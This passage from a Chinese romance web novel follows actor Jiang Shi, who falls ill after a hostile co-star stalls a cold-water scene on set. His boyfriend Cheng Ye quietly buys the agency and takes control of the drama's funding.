江时朝餐桌看去,上面放着搬家搬过来的几件零碎厨房用品,看着不是什么困难的活。 他放下薯片,终于从沙发上站起身,走了还没两步,背对着他的程野跟背后长了眼睛一样,哗啦一下拉开门,“饿了?” “没。”江时道:“我看餐桌上有东西,去收拾收拾。” 程野抬手倒了点水到锅里,盖上锅盖闷煮,手一擦就出来了。 “我来。” 江时人还没走到桌子边,桌子就被程野收拾干净。 “……” 他人站在从客厅到餐厅的中间,表情有些懵。 程野收拾完了进厨房,没几秒又出来,端着一小碗鸡汤放江时手里,“等无聊了?最多十分钟就开饭,先喝点鸡汤垫垫胃。” 江时空着手来收拾桌子,桌子没收拾,端着碗汤回去了。 目睹全程的江雪:“……” 江时坐回江雪旁边,半长的碎发从他耳边滑落,挡在眼前晃了晃。 他对着小碗吹了吹,低头轻啜一口,“你看,这不能怪我。” 江雪还能说什么?看这个情况,一个愿打一个愿挨。 哪怕是自己亲儿子,她也不得不感叹,江时的命是真的好。 除了程野,谁还把他当祖宗一样供着?- 今年江城的冬比往年要暖和一些,过年的时候竟出了太阳。 江时坐在门口院子里晒太阳背台词。 自从怀章解约签到别的公司后,星汇这几年一年不如一年。他在公司上了一段时间的课,刘和平给他找了几个模特的工作,配合公司的营销,江时这张脸才慢慢出现在大众眼里。 三年来,江时陆陆续续接了几个本,都是些不重要的配角,戏份不多,但他表现还算亮眼,再加上颜值高,靠这些配角吸引了不少粉丝。 但星汇在走下坡路,分配下来的资源一少再少,江时已经将近半年没有工作了,这个本还是靠刘和平自己的人脉谈下来的。 一个悬疑凶杀的本子,江时在里面饰演一个阴郁画家,活不过三集的那种。 年后初七就开工,他得抓紧时间熟悉台词。 头发长了老是挡住视线,他抬手拢着头发扎起来,程野拿着个锄头站他身边。 阴影落在脸上,江时侧过脑袋。 程野看着跟前的空地,“这里种玉米,这里种土豆,这里种菜……” 严格分类,跟排兵布阵一样。 江时嘴角抽了抽,“你还真种啊?” 程野垂着眼看他,“不喜欢?” 江时也不是不喜欢,他只是想到以后有人来家里…… 别的总裁家,门一打开,满院子的花,屋里收藏着各种奢侈品以及古董,任谁见了都得夸一句有格调。 而程总家打开门,包谷长得比人高,大白菜水灵灵,鸡鸭满天飞,屋里全是他不知道从哪里薅来的破烂玩意…… 程野岔着腿蹲在江时身边,头发前两天被他给剃短了,刺棱棱的。 江雪屋里还喂着猪牛,人走不开,过完年,初三就回去了。她人不在,程野穿着他的包浆背心,手臂上的肌肉线条很流畅,阳光照在上面,流淌着蜜一样的颜色。 他嘴里咬着根草,思考了两秒,“你不喜欢就不种。” 种花也好看,江时平时没事的时候往花园里一坐,那场面跟画一样。 江时拿着台词本,看他跟个农民工一样蹲在身边,最终还是妥协了,“种吧种吧,种点小番茄和黄瓜。” 他减肥的时候还能吃吃。 …… 刘满干成了程野公司的后勤。 公司越做越大,他工资越发越多,但他知道,如果不是他当初和程野的交情,就他这学历,连进面试的机会都没有。 承了程野的情,刘满不会因为现在的好日子忘了以前的苦,他是真把公司当成自己家,干得兢兢业业。 今天初五,公司还放假,因为要换一批新设备,刘满在假期亲自拿着合同来找程野签字。 程野的别墅当初还是他帮忙一起选的,他知道路,开着车就来了。 江时现在多多少少也算个小明星,当初选这里就是因为私密性好和安保严格。 刘满在门卫那里登记了,寻着记忆拐过几条林荫小道,终于来到别墅门口。 阳光有点刺眼,他站在门口,看见了坐在院子里的江时。 “小时……”刘满喊了声,“程哥在家吗?” 江时穿了件衬衣,半长的头发束在脑后,脖颈修长,他回头,素白的指尖捏着台词本晃了晃,“进来吧,门没锁。” 刘满推门进去。 走进了才看到拿着锄头站在墙角挖地的程野。 “……” 他沉默了会,“程哥,你这是干什么?” 程野单手拿着锄头,“把院子挖了种地。” 他说:“这两天天气好,挖了刚好能等雨水,开春公司忙起来就没那么多时间了。” 有那么一瞬间,刘满感觉自己踏进了村里自家二叔修的农村小洋楼。 程野坐在旁边的台阶上,拧开从酒店带回来的矿泉水喝了口,“找我干什么?” “噢……”刘满回神,“公司不是要换批新设备吗,他们公司明天上班,我打算明天就去采购,找你签个字。” 程野搓了搓手上的泥和汗,拿过文件看了眼,给他签了。 “小六呢?”他问。 刘满道:“带他女朋友回家过年了。” 他父母离异,又分别有了各自的家庭,去哪里都不讨好,他就哪都没去,一个人待江城。 程野沉默两秒,“今晚留下来一起吃饭。” “这……”刘满下意识朝江时看去。 江时道:“看我干什么,又不是我做饭。” 刘满笑了声,“行。” 他把文件收好,又看着程野站起来继续挖地,没忍住问道:“要我帮忙吗?” 程野似乎就等着这句,立马道:“左边的工具房里还有把锄头。” 刘满:“……” 感觉被坑了。 江时看程野挖了两天地,初七就得去剧组了。 作为一个十八线的小艺人,江时是没有助理的,刘和平手上又没其他艺人,大部分时候都身兼经纪人和助理的职责。只要没什么事,他都跟着江时去剧组。 这次也不例外。 江时一上车就发现他愁眉苦脸的。 “怎么了这是?” 刘和平唉声叹气,“星汇又走了两个艺人,这下估计是真的不行了。” “噢……”江时干巴巴的,完全没有自己也是其中一员的感觉,“那怎么办?” 还能怎么办?刘和平道:“自谋出路吧,我今早来的时候听见高层开会,说要把公司转卖了。看下家怎么样吧,对我们老人还算厚道的话就接着待,不行就只能自己想办法了。” 他劝江时,“公司老板还算厚道,我带你这几年都没为难过你,但下家是什么样的就不知道了,如果可以的话,最好还是给自己谋条后路,免得被坑。” …… 江时的第一场戏演的是具尸体,惨死在画室里,死状凄美到让人觉得妖异。 他不知道死了还能怎么凄美妖异,老老实实坐着让化妆师给他化妆。 化妆师是个女生,她对着镜子里的江时端详半晌,“江老师皮肤真好,我都不知道该怎么开始了。” 这个圈子,随便来个人都能喊声老师。 江老师六点就起床,本来就没睡好,还听刘和平“展望”了下公司的未来,困得眼皮子在打架。 他发消息给刘和平让他给他带杯咖啡,然后阖上眼睛,“随便化吧。” 反正他只是一个活不过三集的配角,谁在乎配角长什么样? 化妆师默了默,心想这位江老师果然跟传闻里一样高冷。 江时的脸刚化到一半,门口传来动静,他被吵醒了,睁眼朝外面看去。 外面来的是这部剧的主演,好巧不巧,是那位前星汇的一哥,怀章。 主演的待遇自然和其他人不一样,江时都来了快两个小时怀章才到,一堆人围在他身边热情打招呼。 化妆师停下手上的动作,以为江时也要去。结果对方看见是谁后又闭上了眼睛。 怀章走进来,一眼就看到里面闭着眼睛的江时。 他的脸吸引人是一方面,主要是化妆间里的人都站起来跟他打招呼,就江时一个人坐在位置上。 怀章歪头问身边的助理,“他是谁?” 助理看了好一会才认出来,“好像是演一开局死掉的那个画家,一个不起眼的配角,是……”他顿了顿,“是星汇的艺人。” 星汇…… 怀章目光闪了闪,“他经纪人是谁?” 助理拿着手机紧急百度,两分钟后才找到。 “好像叫刘和平。” 第92章 刘和平…… 乍一下听到这个名字,怀章愣了愣。 统筹跑过来,“怀老师,你的化妆间在这边,跟他们是分开的。” 怀章摘下头上的帽子,“稍等我两分钟。” 他走到江时身边,笑着朝他伸出手,“你好,我看你有点眼熟,我们是不是在哪里见过?” 按照怀章现在的流量,剧组里的其他人都是上赶着巴结,没想到他却主动愿意跟一个连名字都没听过的十八线小演员打招呼,不少酸溜溜的眼神朝江时望去。 闭着眼睛假寐的江时愣了几秒才反应过来对方是在跟他打招呼,他睁开眼站起来,礼貌伸手和怀章握了下,“可能是认错了,我脸比较大众。” 他举止礼貌,但算不上殷勤,甚至还有点冷淡。 怀章第一次被人这么“冷淡”的对待,目光从江时那张“大众”脸上扫过,笑了笑,“听说你经纪人是刘和平?” 江时在心底微微叹气,总算知道这位哥找他是为了干什么了。 “是。” “好巧。”怀章声音平淡,“我前经纪人也是他,刘哥性格古怪,你在他手里这么多年还不温不火的,他没为难你吧?” 这话说得…… 江时脸上牵起的一丝笑容也落了下来,“刘哥对我很好,性格也不错,没有你说的古怪。如果没其它要紧的事,我要先化妆了。” 周围的人隐隐察觉到氛围不太对,没敢说话。 怀章像是没感觉到周遭的沉默,反而露出一个爽朗的笑,“多少算个同门,我叫你一声师弟怎么样?” “师弟别这么大火气,刘哥带了我好几年,我们多少还是有点感情的。这么久过去,他手底下只有你这么一个艺人,说不定性格改了呢?” 江时抬眼朝他看去,“你到底想说什么?” 怀章脸上的笑有些挂不住。他万万没想到,几年过去,刘和平竟然带了这么个没有眼力的人,难怪这么多年了还只是个糊糊。 “听说星汇近几年一直在走下坡路,高层甚至都想把公司卖了,师弟想好出路了吗?” 江时觉得这个人唧唧歪歪的真烦,小少爷显然耐心告罄了,“跟你有什么关系?” 怀章嘴角僵了僵。 沉默两秒,他才接着道:“看在同门一场的份上,或许我可以帮帮你。”他朝助理使了个眼色,“这个是传娱的联系方式,如果你想走的话,传娱的大门永远朝你敞开。” 当着众人的面挖前经纪人的墙角,看来怀章和刘和平结下的梁子还不是一般的深。 助理从包里翻出一张名片递在江时面前。 江时手都没动一下,“多谢好意,不过我不感兴趣。” 他无视那张名片,转身坐回自己椅子上。 周围的人很安静,江时等了两秒,然后朝化妆师看去,“不化了?” 化妆师如梦初醒,有些尴尬地往怀章那边看。 怀章见江时软硬不吃,冷着脸转身回了自己的化妆间。 等到刘和平拿着咖啡回来时风波已经平息,江时坐在小马扎上等自己的戏份。 因为要演尸体,所以他整张脸化得惨白惨白的,可唇色又透着不正常的红,胸口全是血,半长的头发掩住脸,恹恹地垂着脑袋。 刘和平拿着咖啡坐他旁边,压低声音,“听说你和怀章吵起来了?” 江时鸦色的长羽垂着,声音懒懒的,“不是我,是他单方面看不惯我。” 刘和平忧伤叹气,“那八成是冲我来的。” 江时拿起他手里的咖啡喝了口,勉强回过点神,“你们究竟怎么回事?” 刘和平往四周看了眼,他们挤在角落,无人在意。 他说:“怀章那时候是我手底下最有潜力的一个艺人,他呢,也算争气,的确也红了。但他要的远不如此,只不过星汇的实力摆在那里,给他的资源再好也就那样,后面他就靠自己。” “有野心是件好事,但他野心太强,想要的太多,终究还是走上了弯路。他勾搭上了某个公司的女副总裁,我没同意。” 那时候的刘和平远没有现在和平,他年轻,也固执,总认为这种走偏门的总归会害人害己,他不让手底下的艺人做这种事。 但怀章却以为他是在阻碍他的星途。 于是两人闹掰,他攀着那位女副总,从星汇解约,去了更大更好的公司。 “后来听说他和那个女副总分开了,现在和传娱的二公子在一起,所以最近资源才这么好。” “因为那件事,他一直看我不顺眼。”刘和平苦着一张脸,“你别跟他硬刚,咱们小胳膊小腿的,人家现在是如日中天的顶流,还背靠传娱,得罪了他可没什么好果子吃。” 江时很是无所谓,“大不了不干了。” 程野天天在他耳朵边洗脑,一个劲地抹黑娱乐圈,就盼着他哪天不干了好花他的钱。 刘和平:“……” 忘了这是位少爷了。 前面男二的戏份一连NG了好几条,也不知道时候什么才排到江时。 刘和平凑他身边道:“你猜我刚刚为什么买咖啡买半天?内部消息,公司要换领导了。” 江时朝他看去。 “今天早上刚做的决定,咱们公司被收购,高层全被换了,我们这些小鱼小虾是走是留还不知道呢。” 刘和平是多年的老人,虽然现在手里头只有一个不温不火的江时,但曾经多少也是辉煌过的。 只是江时就不一定了…… 他安慰他,“你放心,我会跟上面求情的。” 毕竟经历过怀章的事情,刘和平现在很满意江时这种无欲无求的状态。 江时又喝了口咖啡,被苦得皱起眉头。他还是那句话,“没事,大不了不干了。” 刘和平:“……” * 等到了快中午才等到江时的戏份。 他第一场戏演尸体,不需要什么演技,往那里一躺闭上眼睛就行。只不过案发现场在浴缸里,他得穿着衣服泡里面。 现在年才刚过,温度还没回升,依旧是冬天,导演把水换成温水,江时躺进去,按照要求摆出姿势。 大片的血色在浴缸里蔓延,年轻的画家安静阖着眼,手里捧着象征爱情的玫瑰,脸上露着笑,睡得很安详。 江时睡得并没有那么安详。 冬天温度本来就低,哪怕浴缸里的水是温水,这么会时间后已经逐渐变冷,他泡在水里的手渐渐有些发白。 这其实是场很简单的戏。女主是画室的学生,见画家迟迟不来上课,于是找到他家。只需要开门发现躺在浴缸里的画家,然后被吓到露出惊恐的表情,哆嗦着报警就行。 但今天的女主不知道怎么回事,刚刚一直演得都很顺,直到江时这里,频频状态不对,一直在NG。 时间越久,泡在里面的江时越来越冷。 到最后,导演干脆让女主休息找感觉。 江时动了动手指,睁开眼睛刚想爬起来,工作人员按住他的肩膀,“江老师,布景很麻烦,麻烦你忍耐一下。” 衬衫湿漉漉地贴在身上,这么久过去,水温已经降下来,像细小的针一样密密麻麻扎着皮肤。 冷得发疼。 江时皱着眉头,“要等多久?” 工作人员有些不耐烦地撇嘴,“这要看周姐什么时候休息好了。” 这一等,就等了女主十多分钟。 江时被冻得唇色发白,甚至连指尖抬起来都费劲。 导演看不下去了,催促女主。女主不耐烦地拍了几条,终于勉强过了。 随着导演的一声“咔”落下,江时整个人卸掉力气陷进了浴缸里,还好身边的工作人员手急眼快把他拉了出来。 女主因为被导演骂了,难受得坐在一边哭,所有人都去安慰她,没人注意缩在角落裹着浴巾的江时。 最后还是给他化妆的那个化妆师看不下去,给他倒了杯热水,“你没事吧?” 江时试着曲了曲手指,发现能动了后才伸手接过水。 “谢谢。” 他声音哑哑的。 化妆师看了眼众星捧月的女主,这个圈子向来如此,咖位比什么都重要。 她提醒江时,“周莹和怀章一个公司的,这部戏虽然是个大男主戏,但怀章的流量在那里放着,哪怕是个背景板女主也比其他小成本剧强,据说是怀章向导演引荐的她。” 江时打了个喷嚏,长发半湿搭在他脑后,脸比化妆的时候还要白,“可以麻烦你帮我拿一下我手机吗?” 化妆师给他拿了。 他打开手机,第一条是刘和平给他发的消息。 【公司开会,我得回去了,你在片场照顾好自己,有事给我打电话。】 然后是程野的。 【几点下班?我来接你去吃饭。】 江时又打了个喷嚏。 导演在那边说:“演画家的,你今天可以收工了,回去休息一下,明天再来。” 江时喝了半杯水,回程野。 【已经下班了,我先回酒店。】 程野也不知道在忙什么,等了两分钟也没回他消息。 江时身边也没个助理,自己裹着浴巾就回酒店了。 他舒舒服服洗了个热水澡,刚出来,程野就给他打电话。 “下班了?” 江时“唔”了一声,“刚洗好澡。” 程野说:“我在路上,想吃什么?” 拍摄地点就在江城,离程野的公司不是很远,他要来江时也没反对。他思考两秒,“天太冷,想吃火锅了。” 说着他又打了个喷嚏。 程野听到了,问他,“你怎么了?” 片场上的事有些糟心,江时没跟程野说,“刚刚拍戏的时候碰了下水,估计有点着凉了。” 说完他也没怎么放在心上,心里觉得他的身体素质还是可以的,一点冷水而已,不至于多严重,吹完头发就坐沙发上跟刘和平发消息。 刘和平不知道刚刚发生的事,给江时打了个电话,他身边的声音很嘈杂,听着像是在大马路上。 “公司变天了,早上刚转卖,中午新领导就来开会了。” 江时开着免提,人往沙发上一趟,熟练打开游戏,“噢……那要把我们开了吗?” “呸呸!你能不能说点好听的?那位新老总,可是有大来头的,你知道他是从哪里来的吗?我跟你讲……” 话还没讲完,电话里传来江时的惊呼声,“不是吧,这都能死,对面开挂了吧,举报了。” 刘和平:“……” 他语重心长,“崽啊,你能不能对自己上点心?” 江时:“点心,什么点心?” “……” 没救了。 刘和平拦了辆出租车,往江时那边赶,“吃饭了没?想吃什么,要不要我带回来给你吃?” “不用。”江时说:“我出去吃。” 这件事刘和平很早就想问了,“你……是不是谈恋爱了?” 这两年星汇在走下坡路,江时的工作也少,两人不怎么见面,但每次一有什么活动出来,江时接电话和发消息的频率都很频繁,很难让人不想歪。 江时道:“啊?我没跟你说吗?我有对象的。” 刘和平一口老血哽在心口,“当初问你有没有女朋友的时候你可是说没有的。” “对啊,我没女朋友。” “但我有男朋友。” 刘和平:“??” 什么?! 第93章 刘和平觉得天都塌了,他恨不得抢过司机的方向盘往江时那里赶,“不是,你怎么没跟我说过?” 江时脑袋有点昏,他抿了抿干涩的唇,思绪比以往要慢一点。 “之前想说来着,一直没找到机会,后面就忘记了。” 这也能忘…… 刘和平又问,“那对方是谁?” 就江时这上班态度,应该不是圈里人。 江时老实说:“我们一个村的,他跟我一样,都是大四的学生。” 一个村…… 刘和平干巴巴的,“你家不是挺有钱的吗?” 江时“啊?”了一声,“没有吧,我妈种地来着。” 刘和平心想,你那身衣服可不像种地能买得起的样子。还没等他再问什么,江时把自己和宋建安抱错的事跟他解释了下。 搞了半天,原来是个前少爷。 刘和平理所应当地把江时的吃穿用度归咎到以前的家庭上,有些事在电话里不方便说,他于是道:“你在酒店等着我,我来当面跟你好好聊聊。” 江时看了眼时间,“可我还要去吃饭。” 刘和平警惕地问,“跟谁?不会是你同村的男朋友吧?” 江时又“唔”了一声。 刘和平:“……” 他莫名有种家里大白菜被猪拱了的想法,“介意我跟你们一起吃吗?我还没见过你男朋友,认识认识。” 江时忘了刘和平到底见没见过程野,想着吃顿饭又不会怎么样,于是答应了下来。 人快到了,江时没再玩手机,他喉咙干涩得厉害,跑去接了杯冷水咣咣下肚后瞬间舒服了很多。 先到的是刘和平,他知道江时住哪里,直接上来敲他的房门。 江时门才开了一个缝,刘和平捉奸一样挤进来,“你男朋友呢?” 他往屋里巡视了圈,没看到陌生男人的影子。 江时侧着身站在门口,无奈道:“还在路上呢。” “崽啊……”刘和平拉着他语重心长,“性取向这种事哥管不了,圈子里同性恋也挺多,但是你跟谁在一起不好,干嘛跟村里小伙在一起?” 江时看他,“不是刘哥,你怎么还看不起农村人?” 刘和平一口老血卡在喉咙,他缓了几秒,“不是看不起,是怕你被骗。” 他拉着江时坐下,“那你跟我说说,你们是怎么在一起的?” 江时言简意赅,“我回我亲妈那里,他对我一见钟情,死缠烂打,然后我们就在一起了。” 刘和平:“……” 好好好。 他正准备磨刀霍霍,江时的手机铃声响了,接电话不到一分钟他就挂了电话,“走吧,程野到了。” 刘和平跟着他一起下楼。 酒店楼下,程野正如当初说的那样买了辆劳斯莱斯,车窗降下,露出他陈旧的黑色外套,瞧见戴着口罩的江时身边还站着个男人时愣了几秒。 江时解释,“刘和平,我经纪人。” 程野朝刘和平问好,“刘哥好,一起去吃饭么?” 刘和平露出一个和平的笑,“是的,这么久了也没听江时提过你,今天刚好遇到,不介意多我一双筷子吧?” 好好的约会变成三人行,程野心底别提有多介意,但人是江时带来的,他不可能说什么,只是朝他露出一个友好的笑:“不介意,上车吧。” 刘和平先是被车给惊到,然后才打量起开车的程野。 他混圈这么久,只稍一眼就能扫出程野的穿搭价格,全身上下加起来估计还没超过三百,时尚度全靠那张过于冷硬的脸完成。 好看是好看,难怪江时挑剔成那样会和他在一起,只不过…… 刘和平摸了摸下巴,总感觉这张脸在哪里见过。 他跟着江时弯腰上车,不动声色地问:“这车可以啊,你们谁买的?” 程野启动车子,回答得理所应当,“江时的,上面写的都是他的名字。” 直到今天为止,因为懒没去考驾照的江时:“……” 行吧…… 他拉上安全带,“你说是我的就是我的吧。” 反正程野的钱就是他的钱。 那一刻,刘和平感觉自己看到了事情的真相。 刚回村没什么阅历的大少爷被乡下穷小子看上,然后死皮赖脸、纠缠不休,最终傍上高富帅,实现阶级跨越。 程野在前面问:“去哪家?我们上次去的那家吗?” “不去。”江时道:“那家难吃死了,我最近在网上刷到一家店,离这里不远,我们去那里。” 上次程野带他吃的那家火锅店,死贵还难吃。 江时说的店在一个巷子里,是那种很老的居民楼里。黑色劳斯莱斯往坑坑洼洼的路边一停,看起来格外突兀。 程野往外瞥了眼环境,有点乱,卫生也不太行,他眉头缓缓皱起。 江时还在后面看地图,“就这条巷子往里走,不过里面车开不进去,你在路边找个地方停着就行。” 程司机不是很乐意,“里面看着不干净,要不我们换一家?” “你不懂,这种地方的东西才好吃。而且我们三个人吃下来才一百多,多便宜。” 程野拗不过他,只能找地方把车停了。 天色黑沉沉的,还不到六点,天就黑了,黑云在城市上空笼罩,看样子要下雨。 江时举着手机走在最前面,程野和刘和平跟在他身后。 “那个……”刘和平开口,然后又顿了顿。 程野便有眼力见地接过,“程野,叫我小程就行。” “小程啊……”刘和平道:“你跟江时是一个学校的吗?” “不是,我在旁边A大。” 学习还行,刘和平稍微满意了点。 “江时的职业你也知道,他现在的粉丝很多都是冲着他颜值来的,曝光恋情对任何明星来说影响都很大,更何况你们还是同性……” 程野眼神暗了暗,“我知道,只要江时不说,我不会对外说我们的关系的。” 刘和平看他终于满意了点。 他看程野,越看越眼熟,“我们是不是见过?” 程野记性比他好一点,“见过,江时元旦晚会你找他的时候。” 刘和平终于想起来了,难怪他一看见程野那张脸就觉得肉疼,原来就是他当初一顿饭吃了他快一千。 江时走前面没听见他们在说什么,他对着地图找了半天,终于找到藏在角落里的火锅店。位置那么偏,但站在门口往里看,坐着好多人。 一看就知道来对地方了。 他推开门进去,服务员热情道:“您好,请问几位?” “三个。”江时道:“有包间吗?” 前台的服务员翻了翻手里的本子,“刚好走了一桌,在二楼。” 三人上了二楼,江时拿着菜单点菜,他问刘和平,“刘哥,你要吃什么?” 刘和平说:“谁付钱?” “程野。” 他道:“菜单里最贵的是什么?” 江时翻了翻,“茅台。” “来一箱。” 江时:“??” 程野:“……” 最后茅台没喝成,因为江时勾下口罩,程野才发现他脸红得不正常。 他走过去用手贴了贴他额头,眉头顿时就皱了起来,“你发烧了怎么不说?” “啊?”江时茫然地眨了眨眼睛,“什么发烧,我怎么不知道?” 程野捞起外套给他穿上,又把他口罩戴回去,把人从位置上拉起来,“走,去医院。” 江时跟在他身后不愿意走,“饭还没吃上呢,再说了,我感觉我很清醒,我好得很,能跑能跳的。” 程野“呵”了一声。 刘和平急急忙忙跟在身后,“我也一起去,好端端的,怎么烧了?” 江时抿了下唇,刚想说话,冷不丁打了个喷嚏。 程野的脸色变得更差了。 江时刚才还活蹦乱跳的,一上车,人就蔫了,他靠在椅子上,眼皮烫得泛起一层粉。 刘和平在旁边用手摸了摸他脑门,“刚刚不是还好端端的吗?怎么忽然一下就烧了?” 江时弱弱道:“拍戏的时候碰了点水。” 刘和平知道他这场戏,但要演起来前后不过十多分钟,水用的也是温水,怎么会严重到发高烧? 联想到早上怀章的事,他脸色也不是很好,“是不是有人欺负你了?” 江时低低咳了声,没说话。 车子猛地一个急刹,程野沉着脸解下安全带,他跨步走下几百万的车,车门毫不留情地被大力合上。 他蹲在后座门边。 “劳烦扶他上来,我背他进去。” 刘和平抬头,发现已经到了医院门口。他忙不迭地把江时扶上程野的背。 等弄好一切挂上点滴已经是半小时后了。 江时脑袋昏沉,手脚无力,还想着没吃上的火锅,“那个火锅……” 程野看着体温计上的数字,没说话。 他沉着脸时表情看起来格外吓人,哪怕是刘和平也不敢多看。 见没人理他,江时伸出脚踹了下床边的程野,“喂!你哑了吗,我跟你说话呢。” 程野收了体温计,捞过江时的脚塞回被子里,脸上没什么笑意,但声音听起来还算温柔,“嗯,我记着呢,等你好了带你去吃。” 江时烧得眼皮都抬不起来,半睁着眼睛看他,“你生气了?” “没。”程野说。 嫌热,江时把手从被子里拿出来,“那你板着个脸干什么?又不是我想发烧的。” 这得理不饶人的样子完全看不出快烧到四十度的样子。 程野露出个笑,把江时的手又塞回去,伸手把他搭在额角濡湿的头发拢起来在头上扎个发揪,干燥的掌心贴在他清瘦的脸颊,“睡吧,睡醒就好了。” 江时埋着他的手蹭了蹭,迷迷糊糊睡了过去。 刘和平打电话回来时江时已经睡着了,程野正弯着腰给他整理被子。他把病房的灯给关了,示意刘和平出来。 他们定的单间,走廊上没什么人,消毒水的味道若隐若现。 程野靠走廊上,影子投在地面上斜斜长长,“问出来了?” 刘和平朝他看去。 男人手插在衣服兜里,没了刚刚在江时面前那股老实的样子,看过来的目光很冷,“不能跟我说?” 刘和平莫名打了个哆嗦,“没。这事说来也怪我,如果不是我跟怀章结下梁子,他也不至于受这个罪。” 程野不说话,刘和平只能硬着头皮往下说。 “剧里的女主跟怀章一个公司,今天的戏份江时要泡在水里,女主一直NG,就这么拖着,拍了快一个小时才拍好。” 程野说:“你打电话给导演请假,请三天。” “这……”刘和平有些为难,“江时只是个小演员,请不了这么多天。” 他抬头看程野的脸色,对方脸上没什么表情,但刘和平还是害怕。他也不知道自己在害怕什么,等反应过来时已经去给导演打电话了。 程野看着他在走廊的另一边打电话,转身回了病房。 江时睡得很不安稳,程野在他身边弄出点动静他反而还睡得踏实点。 青年歪着头靠在枕头上,因为发烧脸色洇着粉,唇色却很苍白,一张脸窄窄小小的,怎么也养不圆。 他没打点滴的那只手在被子里动了动,程野便伸手进去握着。 手指冰凉,掌心闷出一手的冷汗。 程野用手蹭掉江时掌心的冷汗,另一只手拿着手机打了个电话,声音压得很低。 “星汇的事怎么样了?” “下午刚开完会,资料我还在整理,稍晚一点发给你。” “他们有个艺人叫江时,你把他的资料单独整理发给我,以后关于他的所有事情我都要过目。” “另外……”程野顿了顿,“我记得传娱是容事旗下的子公司,公司有和容事对接的项目吗?” “一周前,容事向你递交了一份合作企划,你当时觉得没有前景,推掉了这个项目。” “明天找个时间约一下他们,我要和他们见面。还有件事,有个剧组叫《暗渡》,你联系一下,追加一份投资进去。” 对面愣了下,但良好的职业素养让他忍住了过问老板的冲动。 “好的,程总你打算投多少?” “投到我能做剧组的主为止。” 第94章 江时请了三天的假。 一开始导演并不乐意,但刘和平明里暗里责问江时为什么发高烧?导演自知理亏,便允了他的假。 但很快他就自顾不暇了。 剧组之所以捧着怀章,全是因为这部剧最大的投资人是传娱的那位二公子,但在江时发高烧的第二天,传娱忽然撤资了。 撤资就撤资,可连个理由也没有,说不干就不干,导演顿时急得跟热锅上的蚂蚁一样。 他找不到人,最后只能问到怀章身上,但怀章比他还懵,在导演焦急如焚的眼神下打了个电话,刚一响通就被挂了,再打就无法接通。 那一刻,怀章的脸比导演还白。 导演看着他的脸色,心想大概要变天了。 还没等他缓过神,助理给他打了个电话,说有人愿意投资这部剧,请他今晚吃个饭。 导演没能顾得上失魂落魄的怀章,急匆匆赶去饭局。接待他的是一个二十多岁的年轻男人,长相挑不出什么出彩的地方,一身西服干净利索。 男人朝他伸出手,“您好,陈朗,程总的特助,他有点事估计要耽搁一会,让我先在这里接待你。” 导演和他握了下,挤出一个笑,“冒昧问一下,程总是哪位程总?” 陈朗笑得滴水不漏,“到时候见到他你就知道了。” 这一等,就足足等了三个多小时。 免费的茶换了一壶又一壶,导演喝得肚子里全是水,眼看着快到晚上九点,包间门才被推开。 门口来的是个男人,穿着件黑色大衣,短发,眉目深邃,看起来很年轻,但气场却很强。 陈朗站起来,“程总。” 导演也站起来跟着喊,“程总。”他喊完了挤出一个笑,殷切地伸出手,“我是《暗渡》的导演,姓王,叫……” 程野绕开他的手,脱下大衣坐在椅子上,朝他抬了抬下巴,“我很忙,只有二十分钟时间。” 导演来得匆忙,甚至连剧组其他人都来不及通知,只匆匆准备了点资料,他拿着资料放在程野跟前,“这个是剧组的一些资料,我们的本子是国内有名的编辑亲自操刀,就连演员也是……” 程野随意翻了两页就合上,“我对这些不感兴趣,传娱之前投了多少钱?” 导演准备了一晚上的话术就这样被堵回肚子里,他卡了卡,停顿几秒才说了一个数。 程野说:“我投他们两倍。我从小就有个当导演的梦,只不过没这个天赋,介意我去围观围观吗?” 导演脸上的笑容更甚,“没关系,程总您想看多久都行。只是你看这……” 程野往后靠,“具体事宜陈朗会跟你协商。” 说到这里他露出一个有些恍然的神情,“不好意思,我给忙忘了,说好请导演吃饭……”他拿起菜单递给导演,“我和陈朗都吃过了,你这边看看,要吃点什么。” 导演被水撑得打了个饱嗝,程野话都这样说了,他自然不好意思自己一个人吃,于是只能把菜单推了回去,“我来之前也吃过了,有机会再和程总聚。” 程野很惋惜地把菜单收回去。 导演空着肚子来,喝了一肚子免费的茶水回去。 包间内,程野问陈朗,“没点菜,预定包间的钱可以退吗?” 陈朗微笑,“不能呢程总。” 程野“啧”了一声,心想他迟早有一天要自己开家饭店,把江时喜欢的厨师都挖过来。 他拿起菜单翻了翻,点了几个江时爱吃的菜,决定等会打包带走。 点完了,才想起身边还有个加班的特助。 陈朗是他重金挖过来的,全能型人才,在众多的offer里,最终还是被他的金钱给腐蚀了。 而此刻,重金挖来的特助正坐在他身边,脸上带着微笑看他点菜,目光隐隐射出刀子。 程野顿了顿,“饿了吧?给你点个蛋炒饭?” 陈朗想把跟前的茶壶扣在他头上。 还没等他实施,他老板又开口了,“金子炒的饭吗,一碗五十八?我给你发个红包,你去楼下街边买吧。” 他边说着,边在288的小蛋糕上勾了个双份。 陈朗:“……” 五十八的蛋炒饭,程野给他发了个五十的红包,年薪上百万的陈特助感觉受到了侮辱。 但他还是收了。 晚上十点,街边夜市才刚开始。 陈朗拿着五十的红包站在街边选了很久才找到家看起来还算干净的店,他点了碗青椒肉丝盖饭,花费十五。 程野站在旁边,“老板,蛋炒饭。” 陈朗西装革履的,程野大衣一脱,里面就是一件毛衣,两人往那里一杵,陈朗看起来才像那个老板。 街边人来人往的,两人坐在矮矮的桌子前吃迟来的晚饭。 陈朗拿着筷子怎么也想不明白自己是怎么混成这样的,而罪魁祸首大马金刀地坐在他对面,端着盘子就往嘴里扒拉饭。 这个年纪正是胃口大的时候,程野两分钟就吃了半碗,然后从大衣兜里掏出一个压瘪的面包。 这是早上江时吃了口就不要的面包,被他塞衣服里,刚好当晚餐。 陈朗嘴角抽了抽。 程野十分钟吃完一顿饭,穿上衣服,又是人模狗样。 “我回去了,有事联系我。” 走了两步,他又折回来,“你炒饭花了十五,剩下的三十五能……” 陈朗说:“程总慢走不送。” 程野:“……”- 江时一早醒来烧就退了,但很不幸地感冒了,被程野强制按在家里养病吃药。 他睡了一天,到了晚上格外清醒,程野人不在家里,给他留了消息说是有事出去,还给他买了宵夜回来。 于是江时便在家里等他。 他拿着手机询问刘和平片场的事,混了这么久,他多多少少也知道点规矩,就他这个咖位的演员,哪能随随便便就请假? 而且他的戏份主要集中在前期,他不拍,万一片场停工,那每天造成的损失他可承担不起。 刘和平安慰他,“没事,哪怕你在也拍不了。” 他道:“据说怀章不知道怎么得罪那个二公子,人家撤资了,整个剧组都停了。” 